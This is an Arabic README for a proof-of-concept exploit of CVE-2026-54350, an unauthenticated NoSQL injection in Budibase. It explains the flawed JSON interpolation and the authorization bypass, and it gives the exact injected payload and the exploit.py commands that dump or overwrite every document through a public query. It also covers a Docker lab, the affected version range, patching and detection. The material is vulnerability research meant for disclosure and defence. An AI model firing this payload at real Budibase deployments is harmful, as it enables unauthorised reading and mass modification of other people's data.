
PoC لـ CVE-2026-54350 — حقن مُشغِّل NoSQL غير مصادق عليه في Budibase (CVSS 10.0). اقرأ/اكتب بشكل جماعي أي مجموعة مستندات عبر استعلام عام.
حقن مشغِّلات JSON/NoSQL غير مصادق عليه في Budibase. يمكن لأي زائر مجهول لتطبيق Budibase منشور يعرض استعلامًا عامًا يستند إلى مصدر بيانات مستندي (MongoDB، CouchDB، Elasticsearch، DynamoDB-PartiQL، أو REST مع نص JSON) أن يقرأ كل مستند في المجموعة الأساسية، وإذا وُجد استعلام كتابة عام، يعدّل كل مستند — بطلب HTTP واحد غير مصادق عليه.
| CVE | CVE-2026-54350 |
| الإشعار | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (تحييد غير صحيح للعناصر الخاصة في استعلام بيانات)، CWE-89 |
| المصادقة | لا شيء (غير مصادق عليه) |
| المتأثر | Budibase <= 3.39.0 (نطاق إصدار البائع المذكور في الإشعار) |
| المُصلَح | 3.39.12 وفقًا لـ NVD؛ تم تحييد علامات الاقتباس المحقونة بالفعل من الإصدار 3.39.1، والإصلاح الصريح (processJsonStringSync) يظهر في الإصدار 3.39.9 |
| الحكم | مؤكد — تم إعادة إنتاجه بالكامل على الإصدار 3.39.0 |
عند تنفيذ استعلام، يثري Budibase معاملات المستخدم في نص JSON الخام للاستعلام باستخدام Handlebars، ثم يقوم بتحليل النتيجة باستخدام JSON.parse:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
في الإصدارات المتأثرة، يتم إقحام المعامل بدون تهريب JSON، لذا فإن القيمة التي تحتوي على " تغلق السلسلة النصية المقصودة وتحقق حقن مفاتيح شقيقة في الكائن المحلل. عامل التصفية الوحيد للإدخال، validateQueryInputs() (api/controllers/query/index.ts)، يرفض فقط علامات Handlebars ({{، }}) — ولا يمس "، \، } أو $.
بالنسبة لعملية find في MongoDB، يتم تمرير الكائن المحلل مباشرة إلى collection.find() (integrations/mongodb.ts). مفتاح name مكرر تكون قيمته كائن مشغِّل يربح دمج JSON.parse، محوِّلاً مساواة سلسلة نصية إلى {$exists: true} ويعيد المجموعة بأكملها. نفس الأسلوب مع استعلام updateMany يوسع عامل التصفية ليشمل كل مستند.
يتم تجاوز التحكم في الوصول لأن authorized() (middleware/authorized.ts:141) تقوم بالتقصير مع return next() عندما يكون دور الوصول للاستعلام هو PUBLIC، متجاوزةً مصادقة الجلسة و CSRF. رأس x-budibase-app-id اللازم للوصول إلى الاستعلام هو عام — وهو جزء من كل عنوان URL لتطبيق منشور.
راجع ANALYSIS.md للاطلاع على الشرح الكامل على مستوى الكود والتحقيق في حدود الإصدار.
قالب نص الاستعلام (كما هو مكوّن في المنشئ):
{"name":"{{ name }}"}
القيمة المحقونة لمعامل name:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
بعد الإقحام و JSON.parse (دمج المفتاح المكرر، آخر واحد يفوز):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment هو مشغِّل MongoDB وصفي خامل يمتص علامة الاقتباس الختامية "} من القالب ليظل النص الكامل JSON صالحًا.
exploit.py — مكتبة Python 3 القياسية فقط، بدون تبعيات.
# تفريغ المجموعة بأكملها عبر استعلام قراءة (find) عام
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# تعديل كل مستند عبر استعلام updateMany عام
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id و --query-id هما قيمتان عامتان يمكن ملاحظتهما في حركة مرور API الخاصة بالتطبيق المنشور نفسه. --field يغير مفتاح JSON الذي يرتبط به المعامل (الافتراضي هو --param).
يتطلب Docker. يستخدم هذا المختبر --network host (لا يُفترض وجود شبكة جسر) و mongo:4.4 (المضيف لا يحتوي على AVX؛ يتطلب MongoDB 5.0+ ذلك).
bash lab/setup.sh
# يطبع PROD_APP_ID / READ_QUERY / UPDATE_QUERY، ثم:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py يقود فقط واجهات برمجة التطبيقات المشروعة للمنشئ — لا يُضعف أي إعداد افتراضي. تعيين دور الوصول للاستعلام على PUBLIC هو ميزة منشئ من الدرجة الأولى (تطبيقات منشورة تكشف البيانات عبر هذه الآلية بالضبط). تشغيل كامل مُلتقط في EVIDENCE.txt.
يسرد NVD النطاق المتأثر كـ < 3.39.12. تجريبيًا، فإن ناقل الاقتباس العاري يمكن استغلاله فقط على <= 3.39.0، وهو بالضبط النطاق الذي يذكره إشعار GHSA الخاص بالبائع. من الإصدار 3.39.1، تقوم طبقة القوالب بالفعل بتهريب علامات الاقتباس المحقونة (تم التحقق: نفس الطلب على الإصدار 3.39.8 يتم تحييده)، ويقدم الإصدار 3.39.9 الإصلاح الصريح processJsonStringSync. لذلك يستهدف هذا الإثبات العملي الإصدار 3.39.0، وهو أحدث إصدار ضمن النطاق المتأثر للبائع.
>= 3.39.12، أو على الأقل >= 3.39.9 حيث يقوم processJsonStringSync بتهريب JSON للمعاملات المُقحَمة).PUBLIC؛ قصرها على الأدوار المصادق عليها حيثما أمكن.ابحث عن طلبات POST /api/v2/queries/<id>، من جلسات غير مصادق عليها، تحتوي قيم parameters فيها على " متبوعة بمشغِّل MongoDB مسبوق بـ $ ($exists، $ne، $gt، $where، $regex، ...) أو مفتاح JSON مكرر. في MongoDB، فعِّل التنميط ونبه عندما يصل معامل استعلام عادةً ما يكون سلسلة نصية ككائن.
البحث والإثبات العملي بواسطة Caio Fabrício (@BiiTts).